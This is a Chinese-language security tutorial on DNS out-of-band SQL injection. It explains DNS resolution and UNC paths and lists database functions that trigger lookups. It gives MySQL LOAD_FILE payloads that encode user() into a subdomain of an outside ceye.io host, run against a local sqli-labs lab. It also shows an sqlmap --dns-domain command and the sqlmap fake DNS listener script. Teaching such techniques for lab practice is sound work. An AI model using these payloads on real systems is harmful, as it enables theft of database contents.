1.SQL注入
SQL注入一般分为报错注入和盲注,盲注的又分为布尔盲注和时间盲注。
当我们发现一个站点存在一个没有数据回显的注入点进行注入时,只能采取盲注,这种注入速度非常慢,需要一个一个字符猜解,而且很容易搞挂网站,这时候我们就需要寻找一种快速有效的方法来获取数据。
此时我们就可以利用DNS来快速的获取数据,当然我们也可以在无回显的命令执行或者无回显的SSRF中利用
特点:速度快,能够绕过某些防护软件的限制
2.DNS
DNS是进行域名和与之相对应的IP地址转换的服务器
DNS域名解析:
主机向本地域名服务器的查询一般都是采用递归查询
当主机所询问的本地域名服务器不知道被查询的域名的IP地址,那么本地域名服务器就以DNS客户的身份,向其它根域名服务器继续发出查询请求报文(即替主机继续查询),而不是让主机自己进行下一步查询。
因此,递归查询返回的查询结果或者是所要查询的IP地址,或者是报错,表示无法查询到所需的IP地址。
本地域名服务器向根域名服务器的迭代查询过程:
当根域名服务器收到本地域名服务器发出的迭代查询请求报文时,要么给出所要查询的IP地址,要么告诉本地服务器:“你下一步应当向哪一个域名服务器进行查询”。然后让本地服务器进行后续的查询。根域名服务器通常是把自己知道的顶级域名服务器的IP地址告诉本地域名服务器,让本地域名服务器再向顶级域名服务器查询。顶级域名服务器在收到本地域名服务器的查询请求后,要么给出所要查询的IP地址,要么告诉本地服务器下一步应当向哪一个权限域名服务器进行查询。最后,知道了所要解析的IP地址或报错,然后把这个结果返回给发起查询的主机。
举个栗子:
域名为www.a.com的主机A 打算发送邮件给域名为www.b.com的主机B。这时就必须知道主机B的IP地址。下面是几个查询步骤:
1、主机A先向本地服务器dns.a.com进行递归查询。
2、本地服务器采用迭代查询,它先向一个根域名服务器查询。
3、根域名服务器告诉本地服务器,下一次应查询的顶级域名服务器dns.com的IP地址。
4、本地域名服务器向顶级域名服务器dns.com进行查询。
5、顶级域名服务器dns.com告诉本地域名服务器,下一步应查询的权限服务器dns.abc.com的IP地址。
6、本地域名服务器向权限域名服务器dns.abc.com进行查询。
7、权限域名服务器dns.abc.com告诉本地域名服务器,所查询的主机的IP地址。
8、本地域名服务器最后把查询结果告诉m.xyz.com。
3.UNC路径
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\\softer这样的形式的网络路径
格式: \\servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename
栗子:
将本机的DNS的服务器的地址设置为本机
使用脚本监控本地53端口数据(代码在最后),Ctrl+R输入地址,我们看到已经监听到我们输入的内容
4.利用过程
知道了上述过程,我们可以构造利用DNS从有漏洞的数据库中提取数据
前提条件:DBMS中需要有可用的,能直接或间接引发DNS解析过程的子程序,即使用到UNC
前人总结~
Microsoft SQL Server
master..xp_dirtree (用于获取所有文件夹的列表和给定文件夹内部的子文件夹)
master..xp_fileexist (用于确定一个特定的文件是否存在于硬盘)
master..xp_subdirs (用于得到给定的文件夹内的文件夹列表)
Oracle
GET_HOST_ADDRES (用于检索特定主机的IP)
UTL_HTTP.REQUEST (从给定的地址检索到的第1-2000字节的数据)
Mysql
load_file (读取文件内容并将其作为字符串返回)
PostgreSQL
COPY (用于在文件系统的文件和表之间拷贝数据)
.......
我们以Mysql为例~,使用第三方的DNS服务器ceye来演示该过程
使用自己的 ldentifier
先自己查询一下用户
输入我们的payloads
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.mysql.ip.port.ukg4ig.ceye.io\\abc'));
稍等片刻,我们在平台就接受到数据了
我们复制16进制进行转码,得到数据~
5.注意点
1.\\\\ 进行转义为 \\,变成UNC格式,查询的数据需要转换为16进制,转化成能被dns正确处理的格式 类似URL编码~
2.mysql使用了load_file这个函数,需要账户是有读权限的
3.因为Linux没有UNC路径,所以当处于Linux系统时,不能使用该方式获取数据
4.这个技术本质是利用UNC发起的DNS查询,所以UNC的路径不能超过128,否则会失败。
6.实际站点的利用
http://127.0.0.1/sqli-labs-master/Less-2/?id=1
and if((select load_file(concat('\\\\',(selecthex(user())),'.hhhhhhhhhhhhhhhh.com\\123'))),1,1)
7. sqlmap进行dns注入
必须要在管理员下运行,因为dns服务运行在特权端口53,必须要管理员权限
sqlmap支持dns回显注入
命令为: python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-2/?id=1" --tech B --dns-domain 192.168.0.18 --dbs
可以看下此时发送的一个语句:
最后附上代码 dns.py
#!/usr/bin/env python
#!_*_coding:utf-8_*_
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import os
import re
import socket
import threading
import time
print "Listening......"
class DNSQuery(object):
"""
Used for making fake DNS resolution responses based on received
raw request
Reference(s):
http://code.activestate.com/recipes/491264-mini-fake-dns-server/
https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
"""
def __init__(self, raw):
self._raw = raw
self._query = ""
type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits
if type_ == 0: # Standard query
i = 12
j = ord(raw[i])
while j != 0:
self._query += raw[i + 1:i + j + 1] + '.'
i = i + j + 1
j = ord(raw[i])
def response(self, resolution):
"""
Crafts raw DNS resolution response packet
"""
retVal = ""
if self._query:
retVal += self._raw[:2] # Transaction ID
retVal += "\x85\x80" # Flags (Standard query response, No error)
retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts
retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query
retVal += "\xc0\x0c" # Pointer to domain name
retVal += "\x00\x01" # Type A
retVal += "\x00\x01" # Class IN
retVal += "\x00\x00\x00\x20" # TTL (32 seconds)
retVal += "\x00\x04" # Data length
retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP
return retVal
class DNSServer(object):
def __init__(self):
self._check_localhost()
self._requests = []
self._lock = threading.Lock()
try:
self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
except AttributeError:
self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self._socket.bind(("", 53))
self._running = False
self._initialized = False
def _check_localhost(self):
response = ""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("", 53))
s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex")) # A www.google.com
response = s.recv(512)
except:
pass
finally:
if response and "google" in response:
raise socket.error("another DNS service already running on *:53")
def pop(self, prefix=None, suffix=None):
"""
Returns received DNS resolution request (if any) that has given
prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)
"""
retVal = None
with self._lock:
for _ in self._requests:
if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):
retVal = _
self._requests.remove(_)
break
return retVal
def run(self):
"""
Runs a DNSServer instance as a daemon thread (killed by program exit)
"""
def _():
try:
self._running = True
self._initialized = True
while True:
data, addr = self._socket.recvfrom(1024)
_ = DNSQuery(data)
self._socket.sendto(_.response("127.0.0.1"), addr)
with self._lock:
self._requests.append(_._query)
except KeyboardInterrupt:
raise
finally:
self._running = False
thread = threading.Thread(target=_)
thread.daemon = True
thread.start()
if __name__ == "__main__":
server = None
try:
server = DNSServer()
server.run()
while not server._initialized:
time.sleep(0.1)
while server._running:
while True:
_ = server.pop()
if _ is None:
break
else:
print "[i] %s" % _
time.sleep(1)
except socket.error, ex:
if 'Permission' in str(ex):
print "[x] Please run with sudo/Administrator privileges"
else:
raise
except KeyboardInterrupt:
os._exit(0)
finally:
if server:
server._running = False